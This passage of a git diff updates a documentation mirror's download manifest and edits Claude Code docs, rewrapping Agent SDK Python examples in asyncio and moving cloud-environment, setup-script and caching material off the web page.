+ "sha256": "d1d2c4482ec37f362bae7e26b3a96aed29ce3849b006ba0d4848ff4a6789fec2",
+ "size": 5698
},
{
"url": "https://support.claude.com/en/articles/14128542-let-claude-use-your-computer-in-cowork",
"status": "success",
"path": "support/14128542-let-claude-use-your-computer-in-cowork.md",
- "sha256": "5ad257a030d2a09ebbe1245af32f1eb605a7fcca5e99ca8d84b0448a621849be",
- "size": 8284
+ "sha256": "743f662be9451bb9bcaad0773fa85e43de57099114cb39c74ff918ad29b43a3a",
+ "size": 8288
},
{
"url": "https://support.claude.com/en/articles/14128775-claude-code-on-console-to-enterprise-migration",
@@ -8591,7 +9396,7 @@
"url": "https://support.claude.com/en/articles/14499648-how-scim-sync-works-for-enterprise-organizations",
"status": "success",
"path": "support/14499648-how-scim-sync-works-for-enterprise-organizations.md",
- "sha256": "bbb53cc6e5421afa8ba27700799674df7264fff9c6f3e13595387d4cb8edde85",
+ "sha256": "6d4ce92009035336e5f5dc0d70f616ab7a659d0bf84c37018be13638b61fad0c",
"size": 7439
},
{
@@ -8612,15 +9417,15 @@
"url": "https://support.claude.com/en/articles/14503613-sso-login",
"status": "success",
"path": "support/14503613-sso-login.md",
- "sha256": "9168a2e7947e7bc8df05dc2bafc1d462df98e6e5ce3baeba524cfb753b3a3cd4",
+ "sha256": "34b3bab9c1e913bb04fa876c90c0475f0b521311d7f14bb6d38b4c85a60dd581",
"size": 6692
},
{
"url": "https://support.claude.com/en/articles/14503643-set-up-scim-in-claude-for-government",
"status": "success",
"path": "support/14503643-set-up-scim-in-claude-for-government.md",
- "sha256": "ffe2df95b7042043dea6d41be9336da2ad634e63fc21fdc26277f27386882ead",
- "size": 6404
+ "sha256": "dc99795a8532380334b96f2bf8bb6ccb1bd8dfbf88893b0155bfdc2e3ef93277",
+ "size": 6408
},
{
"url": "https://support.claude.com/en/articles/14503675-organization-instructions-in-claude-for-government",
@@ -8647,7 +9452,7 @@
"url": "https://support.claude.com/en/articles/14503775-mcp-web-search",
"status": "success",
"path": "support/14503775-mcp-web-search.md",
- "sha256": "de9c1c4e7f1b5771a60c0f927e5feda48c622a6dd7b500f38c96f9a6437f85cb",
+ "sha256": "b7be887602ef738984f78f504d05e97377d4d801f028488b7e66718dfe559e61",
"size": 4679
},
{
@@ -8745,8 +9550,50 @@
"url": "https://support.claude.com/en/articles/14604397-set-up-your-design-system-in-claude-design",
"status": "success",
"path": "support/14604397-set-up-your-design-system-in-claude-design.md",
- "sha256": "da8606b01ff57071d8c5e6b53718c19feaa6d683c7161b711d15369f61c09ba8",
- "size": 4395
+ "sha256": "c54d71f5efd2a31639b7ed89dba04de0c9da3616eabbcd54ad49ba9531f940e5",
+ "size": 4397
+ },
+ {
+ "url": "https://support.claude.com/en/articles/14604406-claude-design-admin-guide-for-team-and-enterprise-plans",
+ "status": "success",
+ "path": "support/14604406-claude-design-admin-guide-for-team-and-enterprise-plans.md",
+ "sha256": "bffe8f0633260ab60842b36c4765d7912895e0a91ff6f0610e78caefa59fa980",
+ "size": 12739
+ },
+ {
+ "url": "https://support.claude.com/en/articles/14604416-get-started-with-claude-design",
+ "status": "success",
+ "path": "support/14604416-get-started-with-claude-design.md",
+ "sha256": "c2dc65376990f2e318e9bf278c4b7ebc15e629c85db8a4a393d7b2b49f28c4d3",
+ "size": 11132
+ },
+ {
+ "url": "https://support.claude.com/en/articles/14604842-real-time-cyber-safeguards-on-claude-opus-and-sonnet",
+ "status": "success",
+ "path": "support/14604842-real-time-cyber-safeguards-on-claude-opus-and-sonnet.md",
+ "sha256": "e598659f00469ac526add8fc2116b104713e43a7f4c29db3ee0aa727f1e997a2",
+ "size": 7183
+ },
+ {
+ "url": "https://support.claude.com/en/articles/14625619-claim-and-migrate-accounts-on-your-domain",
+ "status": "success",
+ "path": "support/14625619-claim-and-migrate-accounts-on-your-domain.md",
+ "sha256": "d2f77eaa98a1aaf7961892889fcfe0a18c01904384dd0ac1f54d6ea4a437daeb",
+ "size": 6950
+ },
+ {
+ "url": "https://support.claude.com/en/articles/14625626-respond-to-an-enterprise-domain-claim-on-your-claude-account",
+ "status": "success",
+ "path": "support/14625626-respond-to-an-enterprise-domain-claim-on-your-claude-account.md",
+ "sha256": "f19160e742c799554deba3a2e0278ce08e396a75c90bb6083d1b226ffcd841c7",
+ "size": 5599
+ },
+ {
+ "url": "https://support.claude.com/en/articles/14661296-use-claude-security",
+ "status": "success",
+ "path": "support/14661296-use-claude-security.md",
+ "sha256": "fffe327eb4793d68ee4be6445674641301861374ecfba4b5924f7c0cc6bd8ba8",
+ "size": 7973
},
{
"url": "https://support.claude.com/en/articles/14729249-use-live-artifacts-in-claude-cowork",
@@ -8850,8 +9697,8 @@
"url": "https://support.claude.com/en/articles/15330088-set-a-default-model-for-your-organization",
"status": "success",
"path": "support/15330088-set-a-default-model-for-your-organization.md",
- "sha256": "3eb23bf2ed31e96125f8a67232c06bdaa7ab43c0886510c1ac4e830c23c944ca",
- "size": 5725
+ "sha256": "19e413907b7bfa008d301b8806ae321b09a70063e3678d54016435b3be196b5a",
+ "size": 5731
},
{
"url": "https://support.claude.com/en/articles/15330651-claude-enterprise-admin-api-reference-guide",
@@ -8962,8 +9809,8 @@
"url": "https://support.claude.com/en/articles/15694740-manage-model-access-for-your-organization",
"status": "success",
"path": "support/15694740-manage-model-access-for-your-organization.md",
- "sha256": "038aec559c35336e1301fd199ae436ca02ce1c453179f48863f724d6b8f32c49",
- "size": 8496
+ "sha256": "a975a3433089355cba3af579596f46bd2836599955ef58933de9cf95264b665e",
+ "size": 8494
},
{
"url": "https://support.claude.com/en/articles/15707726-using-claude-for-legal-work-privilege-confidentiality-and-how-to-think-about-configuration",
@@ -8990,8 +9837,8 @@
"url": "https://support.claude.com/en/articles/15936181-get-started-with-1password-for-claude",
"status": "success",
"path": "support/15936181-get-started-with-1password-for-claude.md",
- "sha256": "609c2cac2dcb7cae88004d767227a26a2d36a2124915711092d460b3753061e5",
- "size": 5062
+ "sha256": "9b5bc163db747348ca600b5f859f48aa50b226eb0c6cf478b1e88a7b8bc9fe7c",
+ "size": 5058
},
{
"url": "https://support.claude.com/en/articles/16049681-why-claude-switched-models-in-your-conversation-with-opus-5",
@@ -11041,7 +11888,7 @@
"url": "https://raw.githubusercontent.com/anthropics/claude-plugins-official/main/.claude-plugin/marketplace.json",
"status": "success",
"path": "github/claude-plugins-official/.claude-plugin/marketplace.json",
- "sha256": "6bee75b9b6692f4aca8be6b41aa63af44927fd24bde9a81e499f4994c904298c",
+ "sha256": "9dc7822b00da81d296ca563f99b3b8bb290a68d4437c01d7799262710ba78a97",
"size": 161310
},
{
@@ -14408,8 +15255,8 @@
"url": "https://raw.githubusercontent.com/anthropics/anthropic-sdk-python/main/CHANGELOG.md",
"status": "success",
"path": "github/anthropic-sdk-python/CHANGELOG.md",
- "sha256": "a3015309a67b89d61a96eec5da5e848bd293df14a9e7033f82742be0404abc2e",
- "size": 214676
+ "sha256": "0c02bce5a8155933a8ad914bd052108fdcc206b3601b6612f3b78c423d7ed47e",
+ "size": 215056
},
{
"url": "https://raw.githubusercontent.com/anthropics/anthropic-sdk-python/main/CONTRIBUTING.md",
@@ -14643,49 +15490,12 @@
"size": 170
}
],
- "failures": [
- {
- "url": "https://support.claude.com/en/articles/9266495-how-do-i-sign-up-for-claude-pro-on-the-claude-app-for-ios",
- "error": "429, message='Too Many Requests', url='https://support.claude.com/en/articles/9266495-how-do-i-sign-up-for-claude-pro-on-the-claude-app-for-ios.md'"
- },
- {
- "url": "https://support.claude.com/en/articles/9266767-what-is-the-team-plan",
- "error": "429, message='Too Many Requests', url='https://support.claude.com/en/articles/9266767-what-is-the-team-plan.md'"
- },
- {
- "url": "https://support.claude.com/en/articles/9267247-get-started-with-the-team-plan",
- "error": "429, message='Too Many Requests', url='https://support.claude.com/en/articles/9267247-get-started-with-the-team-plan.md'"
- },
- {
- "url": "https://support.claude.com/en/articles/14604406-claude-design-admin-guide-for-team-and-enterprise-plans",
- "error": "429, message='Too Many Requests', url='https://support.claude.com/en/articles/14604406-claude-design-admin-guide-for-team-and-enterprise-plans.md'"
- },
- {
- "url": "https://support.claude.com/en/articles/14604416-get-started-with-claude-design",
- "error": "429, message='Too Many Requests', url='https://support.claude.com/en/articles/14604416-get-started-with-claude-design.md'"
- },
- {
- "url": "https://support.claude.com/en/articles/14604842-real-time-cyber-safeguards-on-claude-opus-and-sonnet",
- "error": "429, message='Too Many Requests', url='https://support.claude.com/en/articles/14604842-real-time-cyber-safeguards-on-claude-opus-and-sonnet.md'"
- },
- {
- "url": "https://support.claude.com/en/articles/14625619-claim-and-migrate-accounts-on-your-domain",
- "error": "429, message='Too Many Requests', url='https://support.claude.com/en/articles/14625619-claim-and-migrate-accounts-on-your-domain.md'"
- },
- {
- "url": "https://support.claude.com/en/articles/14625626-respond-to-an-enterprise-domain-claim-on-your-claude-account",
- "error": "429, message='Too Many Requests', url='https://support.claude.com/en/articles/14625626-respond-to-an-enterprise-domain-claim-on-your-claude-account.md'"
- },
- {
- "url": "https://support.claude.com/en/articles/14661296-use-claude-security",
- "error": "429, message='Too Many Requests', url='https://support.claude.com/en/articles/14661296-use-claude-security.md'"
- }
- ],
+ "failures": [],
"summary": {
- "total": 2100,
- "downloaded": 2091,
+ "total": 2212,
+ "downloaded": 2212,
"skipped": 0,
- "failed": 9,
- "success_rate": 99.6
+ "failed": 0,
+ "success_rate": 100.0
}
}
\ No newline at end of file
diff --git a/content/en/docs/claude-code/admin-setup.md b/content/en/docs/claude-code/admin-setup.md
index 3125a2e0c..89d0acbe8 100644
--- a/content/en/docs/claude-code/admin-setup.md
+++ b/content/en/docs/claude-code/admin-setup.md
@@ -99,7 +99,7 @@ Managed settings can lock down tools, sandbox execution, restrict MCP servers an
Organizations whose members authenticate through claude.ai or the Anthropic API can also govern models without deploying settings: [organization model restrictions](/docs/en/model-config#organization-model-restrictions) disable individual models, an [organization default model](/docs/en/model-config#organization-default-model) sets which model new sessions start on, and [organization effort limits](/docs/en/model-config#organization-effort-limits) cap effort levels per role. All three controls require a Claude Enterprise plan. Model restrictions and effort limits are enforced server-side; the default model is a starting point that users can change, unless the organization enforces it. Enforcement is available to a limited set of organizations; ask your Anthropic account team about availability. None of these controls reach sessions on Amazon Bedrock, Google Cloud's Agent Platform, Microsoft Foundry, or [Claude Platform on AWS](/docs/en/claude-platform-on-aws); on those providers, use `availableModels` above for restrictions and the `model` key in managed settings for a default.
-[Claude Code on the web](/docs/en/claude-code-on-the-web) has its own admin surface: on the Cloud environments page in admin settings, owners and admins create [organization-shared environments](/docs/en/claude-code-on-the-web#organization-shared-environments) that set the [network access level](/docs/en/claude-code-on-the-web#network-access), environment variables, and setup script for members' cloud sessions, and choose the organization's default environment.
+[Claude Code on the web](/docs/en/claude-code-on-the-web) has its own admin surface: on the Cloud environments page in admin settings, owners and admins create [organization-shared environments](/docs/en/cloud-environments#organization-shared-environments) that set the [network access level](/docs/en/cloud-environments#network-access), environment variables, and setup script for members' cloud sessions. Owners and admins choose the organization's default environment separately, at [claude.ai/admin-settings/claude-code](https://claude.ai/admin-settings/claude-code).
Permission rules and sandboxing cover different layers. Denying WebFetch blocks Claude's fetch tool, but if Bash is allowed, `curl` and `wget` can still reach any URL. Sandboxing closes that gap with a network domain allowlist enforced at the OS level.
diff --git a/content/en/docs/claude-code/agent-sdk/modifying-system-prompts.md b/content/en/docs/claude-code/agent-sdk/modifying-system-prompts.md
index dec1a43d4..36b9cdbc9 100644
--- a/content/en/docs/claude-code/agent-sdk/modifying-system-prompts.md
+++ b/content/en/docs/claude-code/agent-sdk/modifying-system-prompts.md
@@ -80,21 +80,28 @@ To load CLAUDE.md, set `settingSources` to include the level your CLAUDE.md live
```
```python Python theme={null}
+ import asyncio
+
from claude_agent_sdk import query, ClaudeAgentOptions
messages = []
- async for message in query(
- prompt="Add a new React component for user profiles",
- options=ClaudeAgentOptions(
- system_prompt={
- "type": "preset",
- "preset": "claude_code", # Use Claude Code's system prompt
- },
- setting_sources=["project"], # Loads CLAUDE.md from project
- ),
- ):
- messages.append(message)
+
+ async def main():
+ async for message in query(
+ prompt="Add a new React component for user profiles",
+ options=ClaudeAgentOptions(
+ system_prompt={
+ "type": "preset",
+ "preset": "claude_code", # Use Claude Code's system prompt
+ },
+ setting_sources=["project"], # Loads CLAUDE.md from project
+ ),
+ ):
+ messages.append(message)
+
+
+ asyncio.run(main())
# Now Claude has access to your project guidelines from CLAUDE.md
```
@@ -174,23 +181,30 @@ You can use the Claude Code preset with an `append` property to add your custom
```
```python Python theme={null}
+ import asyncio
+
from claude_agent_sdk import query, ClaudeAgentOptions, AssistantMessage
messages = []
- async for message in query(
- prompt="Help me write a Python function to calculate fibonacci numbers",
- options=ClaudeAgentOptions(
- system_prompt={
- "type": "preset",
- "preset": "claude_code",
- "append": "Always include detailed docstrings and type hints in Python code.",
- }
- ),
- ):
- messages.append(message)
- if isinstance(message, AssistantMessage):
- print(message.content)
+
+ async def main():
+ async for message in query(
+ prompt="Help me write a Python function to calculate fibonacci numbers",
+ options=ClaudeAgentOptions(
+ system_prompt={
+ "type": "preset",
+ "preset": "claude_code",
+ "append": "Always include detailed docstrings and type hints in Python code.",
+ }
+ ),
+ ):
+ messages.append(message)
+ if isinstance(message, AssistantMessage):
+ print(message.content)
+
+
+ asyncio.run(main())
```
@@ -226,20 +240,27 @@ The following example pairs a shared `append` block with `excludeDynamicSections
```
```python Python theme={null}
+ import asyncio
+
from claude_agent_sdk import query, ClaudeAgentOptions
- async for message in query(
- prompt="Triage the open issues in this repo",
- options=ClaudeAgentOptions(
- system_prompt={
- "type": "preset",
- "preset": "claude_code",
- "append": "You operate Acme's internal triage workflow. Label issues by component and severity.",
- "exclude_dynamic_sections": True,
- },
- ),
- ):
- ...
+
+ async def main():
+ async for message in query(
+ prompt="Triage the open issues in this repo",
+ options=ClaudeAgentOptions(
+ system_prompt={
+ "type": "preset",
+ "preset": "claude_code",
+ "append": "You operate Acme's internal triage workflow. Label issues by component and severity.",
+ "exclude_dynamic_sections": True,
+ },
+ ),
+ ):
+ ...
+
+
+ asyncio.run(main())
```
@@ -279,6 +300,8 @@ You can provide a custom string as `systemPrompt` to replace the default entirel
```
```python Python theme={null}
+ import asyncio
+
from claude_agent_sdk import query, ClaudeAgentOptions, AssistantMessage
custom_prompt = """You are a Python coding specialist.
@@ -291,13 +314,18 @@ You can provide a custom string as `systemPrompt` to replace the default entirel
messages = []
- async for message in query(
- prompt="Create a data processing pipeline",
- options=ClaudeAgentOptions(system_prompt=custom_prompt),
- ):
- messages.append(message)
- if isinstance(message, AssistantMessage):
- print(message.content)
+
+ async def main():
+ async for message in query(
+ prompt="Create a data processing pipeline",
+ options=ClaudeAgentOptions(system_prompt=custom_prompt),
+ ):
+ messages.append(message)
+ if isinstance(message, AssistantMessage):
+ print(message.content)
+
+
+ asyncio.run(main())
```
@@ -404,28 +432,35 @@ The example below assumes a Code Reviewer output style is already active. The `a
```
```python Python theme={null}
+ import asyncio
+
from claude_agent_sdk import query, ClaudeAgentOptions
# Assuming "Code Reviewer" output style is active (via /config or settings)
# Add session-specific focus areas
messages = []
- async for message in query(
- prompt="Review this authentication module",
- options=ClaudeAgentOptions(
- system_prompt={
- "type": "preset",
- "preset": "claude_code",
- "append": """
- For this review, prioritize:
- - OAuth 2.0 compliance
- - Token storage security
- - Session management
- """,
- }
- ),
- ):
- messages.append(message)
+
+ async def main():
+ async for message in query(
+ prompt="Review this authentication module",
+ options=ClaudeAgentOptions(
+ system_prompt={
+ "type": "preset",
+ "preset": "claude_code",
+ "append": """
+ For this review, prioritize:
+ - OAuth 2.0 compliance
+ - Token storage security
+ - Session management
+ """,
+ }
+ ),
+ ):
+ messages.append(message)
+
+
+ asyncio.run(main())
```
diff --git a/content/en/docs/claude-code/agent-sdk/skills.md b/content/en/docs/claude-code/agent-sdk/skills.md
index dd50c1e4d..63d4c6056 100644
--- a/content/en/docs/claude-code/agent-sdk/skills.md
+++ b/content/en/docs/claude-code/agent-sdk/skills.md
@@ -134,8 +134,13 @@ To control tool access for Skills in SDK applications, use `allowedTools` to pre
allowed_tools=["Read", "Grep", "Glob"],
)
- async for message in query(prompt="Analyze the codebase structure", options=options):
- print(message)
+
+ async def main():
+ async for message in query(prompt="Analyze the codebase structure", options=options):
+ print(message)
+
+
+ asyncio.run(main())
```
```typescript TypeScript theme={null}
@@ -164,8 +169,13 @@ To see which Skills are available in your SDK application, simply ask Claude:
skills="all",
)
- async for message in query(prompt="What Skills are available?", options=options):
- print(message)
+
+ async def main():
+ async for message in query(prompt="What Skills are available?", options=options):
+ print(message)
+
+
+ asyncio.run(main())
```
```typescript TypeScript theme={null}
@@ -196,8 +206,13 @@ Test Skills by asking questions that match their descriptions:
allowed_tools=["Read", "Bash"],
)
- async for message in query(prompt="Extract text from invoice.pdf", options=options):
- print(message)
+
+ async def main():
+ async for message in query(prompt="Extract text from invoice.pdf", options=options):
+ print(message)
+
+
+ asyncio.run(main())
```
```typescript TypeScript theme={null}
diff --git a/content/en/docs/claude-code/claude-code-on-the-web.md b/content/en/docs/claude-code/claude-code-on-the-web.md
index 1e3b1fc7d..481dbddba 100644
--- a/content/en/docs/claude-code/claude-code-on-the-web.md
+++ b/content/en/docs/claude-code/claude-code-on-the-web.md
@@ -4,7 +4,7 @@
# Use Claude Code on the web
-> Configure cloud environments, setup scripts, network access, and Docker in Anthropic's sandbox. Move sessions between web and terminal with `--cloud` and `--teleport`.
+> Move sessions between web and terminal with `--cloud` and `--teleport`, manage and share sessions, and auto-fix pull requests from Anthropic's cloud infrastructure.
Claude Code on the web is in research preview for Pro, Max, and Team users, and for Enterprise users with premium seats or Chat + Claude Code seats.
@@ -16,18 +16,22 @@ Claude Code on the web runs tasks on Anthropic-managed cloud infrastructure at [
New to Claude Code on the web? Start with [Get started](/docs/en/web-quickstart) to connect your GitHub account and submit your first task.
-This page covers:
+This page covers the web product itself:
+* [Cloud environments](#cloud-environments): where sessions run, and where to configure that
* [GitHub authentication options](#github-authentication-options): two ways to connect GitHub
-* [The cloud environment](#the-cloud-environment): what config carries over, what tools are installed, and how to configure environments
-* [Setup scripts](#setup-scripts) and dependency management
-* [Network access](#network-access): levels, proxies, and the default allowlist
* [Move tasks between web and terminal](#move-tasks-between-web-and-terminal) with `--cloud` and `--teleport`
* [Work with sessions](#work-with-sessions): reviewing, sharing, archiving, deleting
* [Auto-fix pull requests](#auto-fix-pull-requests): respond automatically to CI failures and review comments
* [Security and isolation](#security-and-isolation): how sessions are isolated
* [Limitations](#limitations): rate limits and platform restrictions
+## Cloud environments
+
+Every cloud session runs in a [cloud environment](/docs/en/cloud-environments), the saved configuration that controls network access, environment variables, and setup scripts. Onboarding sets you up with a **Default** environment that has [**Trusted** network access](/docs/en/cloud-environments#access-levels); see [The Default environment](/docs/en/cloud-environments#the-default-environment) for how it's created and how sessions choose an environment when you have more than one. The same environments apply wherever you start a cloud session: the web, the terminal, [Claude Tag](https://claude.com/docs/claude-tag/overview), [routines](/docs/en/routines), and the mobile and Desktop apps.
+
+See [Configure cloud environments](/docs/en/cloud-environments) to change what an environment allows, set variables, or add a setup script, and [Installed tools](/docs/en/cloud-environments#installed-tools) for what sessions include without any configuration.
+
## GitHub authentication options
Cloud sessions need access to your GitHub repositories to clone code and push branches. You can grant access in two ways:
@@ -51,569 +55,6 @@ Team and Enterprise Owners can disable `/web-setup` with the Quick web setup tog
Organizations with [Zero Data Retention](/docs/en/zero-data-retention) enabled can't use `/web-setup` or other cloud session features.
-## The cloud environment
-
-Each session runs in a fresh Anthropic-managed VM with your repository cloned. This section covers what's available when a session starts and how to customize it.
-
-### What's available in cloud sessions
-
-Cloud sessions start from a fresh clone of your repository. Anything committed to the repo is available. Anything you've installed or configured only on your own machine isn't available in the session. Your organization's policy arrives separately through [server-managed settings](/docs/en/server-managed-settings).
-
-| | Available in cloud sessions | Why |
-| :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | :-------------------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| Your repo's `CLAUDE.md` | Yes | Part of the clone |
-| Your repo's `.claude/settings.json` hooks | Yes | Part of the clone |
-| Your repo's `.mcp.json` MCP servers | Yes | Part of the clone |
-| Your repo's `.claude/rules/` | Yes | Part of the clone |
-| Your repo's `.claude/skills/`, `.claude/agents/`, `.claude/commands/` | Yes | Part of the clone |
-| Plugins declared in `.claude/settings.json` | Yes | Installed at session start from the [marketplace](/docs/en/plugin-marketplaces) you declared. Requires network access to reach the marketplace source |
-| Your organization's [server-managed settings](/docs/en/server-managed-settings) | Yes | Fetched from Anthropic's servers when the session starts. See [Surface coverage](/docs/en/model-config#surface-coverage) for how `availableModels` is enforced in cloud sessions. Settings deployed to your device through MDM or managed settings files don't apply, because the session runs on an Anthropic-managed VM |
-| Your user `~/.claude/CLAUDE.md` | No | Lives on your machine, not in the repo |
-| Your user `~/.claude/skills/`, `~/.claude/agents/`, `~/.claude/commands/` | No | Live on your machine, not in the repo. Commit them to the repo's `.claude/` directory instead. Skills you enable on claude.ai are loaded into cloud sessions automatically |
-| Plugins enabled only in your user settings | No | User-scoped `enabledPlugins` lives in `~/.claude/settings.json`. Declare them in the repo's `.claude/settings.json` instead |
-| MCP servers you added with `claude mcp add` | No | Those write to your local user config, not the repo. Declare the server in [`.mcp.json`](/docs/en/mcp#project-scope) instead |
-| Transport variables in your repo's `.claude/settings.json` `env` block, such as `NODE_EXTRA_CA_CERTS` and the [mTLS client certificate variables](/docs/en/network-config#mtls-authentication) | No | The hosting environment manages the session's API connection, so Claude Code ignores these keys and notes each ignored key in the session's debug log |
-| Static API tokens and credentials | No | No dedicated secrets store exists yet. See below |
-| Interactive auth like AWS SSO | No | Not supported. SSO requires browser-based login that can't run in a cloud session |
-
-To make your own configuration available in cloud sessions, commit it to the repo; organization policy arrives separately through [server-managed settings](/docs/en/server-managed-settings).
-
-A dedicated secrets store is not yet available. Both environment variables and setup scripts are stored in the environment configuration, visible to anyone who can edit that environment. If you need secrets in a cloud session, add them as environment variables with that visibility in mind.
-
-### Installed tools
-
-Cloud sessions come with common language runtimes, build tools, and databases pre-installed. The table below summarizes what's included by category.
-
-| Category | Included |
-| :------------ | :--------------------------------------------------------------------------------- |
-| **Python** | Python 3.x with pip, poetry, uv, black, mypy, pytest, ruff |
-| **Node.js** | 20, 21, and 22 via nvm, with npm, yarn, pnpm, bun¹, eslint, prettier, chromedriver |
-| **Ruby** | 3.1, 3.2, 3.3 with gem, bundler, rbenv |
-| **PHP** | 8.4 with Composer |
-| **Java** | OpenJDK 21 with Maven and Gradle |
-| **Go** | latest stable with module support |
-| **Rust** | rustc and cargo |
-| **C/C++** | GCC, Clang, cmake, ninja, conan |
-| **Docker** | docker, dockerd, docker compose |
-| **Databases** | PostgreSQL 16, Redis 7.0 |
-| **Utilities** | git, jq, yq, ripgrep, tmux, vim, nano |
-
-¹ Bun is installed but has known [proxy compatibility issues](#install-dependencies-with-a-sessionstart-hook) for package fetching.
-
-For exact versions, ask Claude to run `check-tools` in a cloud session. This command only exists in cloud sessions.
-
-### Work with GitHub issues and pull requests
-
-Cloud sessions include built-in GitHub tools that let Claude read issues, list pull requests, fetch diffs, and post comments without any setup. These tools authenticate through the [GitHub proxy](#github-proxy) using whichever method you configured under [GitHub authentication options](#github-authentication-options), so your token never enters the container.
-
-You can set `GH_TOKEN` or `GITHUB_TOKEN` yourself in [environment settings](#configure-your-environment), or leave both unset and let the [GitHub proxy](#github-proxy) authenticate for you:
-
-* If you set a token, it passes through to the container unchanged, so `gh` and your scripts use it directly.
-* If you set neither, the container sets both variables to the placeholder string `proxy-injected` and the proxy substitutes your real credentials on outbound GitHub requests. `gh` works without a token of your own, but a script that reads `GITHUB_TOKEN` directly gets the placeholder, not a usable token.
-
-To check which case applies to your session, ask Claude to run `echo $GH_TOKEN`.
-
-The `gh` CLI isn't pre-installed. If you need a `gh` command the built-in tools don't cover, like `gh release` or `gh workflow run`, install and authenticate it yourself:
-
-
-
- Add `apt update && apt install -y gh` to your [setup script](#setup-scripts).
-
-
-
- If `echo $GH_TOKEN` prints `proxy-injected`, the [GitHub proxy](#github-proxy) authenticates `gh` for you and this step is unnecessary. Otherwise, add a `GH_TOKEN` environment variable to your [environment settings](#configure-your-environment) with a GitHub personal access token. `gh` reads `GH_TOKEN` automatically, so no `gh auth login` step is needed.
-
-
-
-### Link output back to the session
-
-Each cloud session has a transcript URL on claude.ai, and the session can read its own ID from the `CLAUDE_CODE_REMOTE_SESSION_ID` environment variable. Use this to put a traceable link in PR bodies, commit messages, Slack posts, or generated reports so a reviewer can open the run that produced them.
-
-As of v2.1.179, commits that Claude creates in a web session include a `Claude-Session: ` git trailer, and PR bodies include the session URL on its own line. {/* min-version: 2.1.182 */}From v2.1.182, set [`attribution.sessionUrl`](/docs/en/settings#attribution-settings) to `false` to omit the trailer and the PR-body link.
-
-To include the session link in something other than a commit or PR, such as a Slack message Claude posts or a report file it writes, have Claude run the following command and use its output. The command converts the `cse_` prefix in the environment variable's value to the `session_` prefix that the transcript URL expects:
-
-```bash theme={null}
-echo "https://claude.ai/code/${CLAUDE_CODE_REMOTE_SESSION_ID/#cse_/session_}"
-```
-
-### Run tests, start services, and add packages
-
-Claude runs tests as part of working on a task. Ask for it in your prompt, like "fix the failing tests in `tests/`" or "run pytest after each change." Test runners like pytest, jest, and cargo test are pre-installed and work without additional setup.
-
-PostgreSQL and Redis are pre-installed but not running by default. Ask Claude to start each one during the session:
-
-```bash theme={null}
-service postgresql start
-```
-
-```bash theme={null}
-service redis-server start
-```
-
-Docker is available for running containerized services. Ask Claude to run `docker compose up` to start your project's services. Network access to pull images follows your environment's [access level](#access-levels), and the [Trusted defaults](#default-allowed-domains) include Docker Hub and other common registries.
-
-If your images are large or slow to pull, add `docker compose pull` or `docker compose build` to your [setup script](#setup-scripts). The pulled images are saved in the [cached environment](#environment-caching), so each new session has them on disk. The cache stores files only, not running processes, so Claude still starts the containers each session.
-
-To add packages that aren't pre-installed, use a [setup script](#setup-scripts). The script's output is [cached](#environment-caching), so packages you install there are available at the start of every session without reinstalling each time. You can also ask Claude to install packages mid-session, but those installs don't carry over to other sessions.
-
-### Resource limits
-
-Cloud sessions run with approximate resource ceilings that may change over time:
-
-* 4 vCPUs
-* 16 GB of RAM
-* 30 GB of disk
-
-Tasks requiring significantly more memory, such as large build jobs or memory-intensive tests, may fail or be terminated. For workloads beyond these limits, use [Remote Control](/docs/en/remote-control) to run Claude Code on your own hardware.
-
-### Configure your environment
-
-Environments control [network access](#network-access), environment variables, and the [setup script](#setup-scripts) that runs before a session starts. See [Installed tools](#installed-tools) for what's available without any configuration. You can manage environments from the web interface or the terminal:
-
-| Action | How |
-| :------------------------------------------------- | :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| Add an environment | Select the current environment to open the selector, then select **Add environment**. The dialog includes name, network access level, environment variables, and setup script. |
-| Edit an environment | Select the cloud icon showing the current environment's name to open the selector, hover over an environment, and click the settings icon that appears on the right. |
-| Archive an environment | Open the environment for editing and select **Archive**. Archived environments are hidden from the selector but existing sessions keep running. |
-| Set the default environment for CLI cloud sessions | Run `/remote-env` in your terminal. If you have a single environment, this command shows your current configuration. `/remote-env` only selects the default; add, edit, and archive environments from the web interface. |
-
-Environment variables use `.env` format with one `KEY=value` pair per line. Don't wrap values in quotes, since quotes are stored as part of the value. This example defines three variables:
-
-```text theme={null}
-NODE_ENV=development
-LOG_LEVEL=debug
-DATABASE_URL=postgres://localhost:5432/myapp
-```
-
-### Organization-shared environments
-
-Owners and admins on Team and Enterprise plans can create cloud environments that are shared with every member of the organization. Shared environments appear in each member's environment selector alongside their personal ones, so a team can standardize on one configuration instead of each member recreating it.
-
-Manage shared environments from the **Cloud environments** page in [admin settings](https://claude.ai/admin-settings). From there you can:
-
-* Create, edit, and archive shared environments. Each one has the same fields as a personal environment: a name, a [network access level](#access-levels), [environment variables](#configure-your-environment) in `.env` format, and a [setup script](#setup-scripts).
-* Set the default environment for the organization.
-
-Values in a shared environment reach every member's sessions in that environment. Like personal environments, shared environments have no dedicated secrets store, so don't include secrets.
-
-## Setup scripts
-
-A setup script is a Bash script that runs when a new cloud session starts, before Claude Code launches. Use setup scripts to install dependencies, configure tools, or fetch anything the session needs that isn't pre-installed.
-
-Scripts run as root on Ubuntu 24.04, so `apt install` and most language package managers work.
-
-To add a setup script, open the environment settings dialog and enter your script in the **Setup script** field.
-
-This example installs the `gh` CLI, which isn't pre-installed:
-
-```bash theme={null}
-#!/bin/bash
-apt update && apt install -y gh
-```
-
-If the script exits non-zero, the session fails to start. Append `|| true` to non-critical commands to avoid blocking the session on an intermittent install failure.
-
-Keep the script's total runtime under roughly five minutes so the [environment cache](#environment-caching) can build. Run independent installs in parallel with `&` and `wait`. If a single download won't fit in the five-minute limit, move it to a [SessionStart hook](#setup-scripts-vs-sessionstart-hooks) that launches it in the background.
-
-
- Setup scripts that install packages need network access to reach registries. The default **Trusted** network access allows connections to [common package registries](#default-allowed-domains) including npm, PyPI, RubyGems, and crates.io. Scripts fail to install packages if your environment uses **None** network access.
-
-
-### Environment caching
-
-The setup script runs the first time you start a session in an environment. After it completes, Anthropic snapshots the filesystem and reuses that snapshot as the starting point for later sessions. New sessions start with your dependencies, tools, and Docker images already on disk, and the setup script step is skipped. This keeps startup fast even when the script installs large toolchains or pulls container images.
-
-The cache captures files, not running processes. Anything the setup script writes to disk carries over. Services or containers it starts don't, so start those per session by asking Claude or with a [SessionStart hook](#setup-scripts-vs-sessionstart-hooks).
-
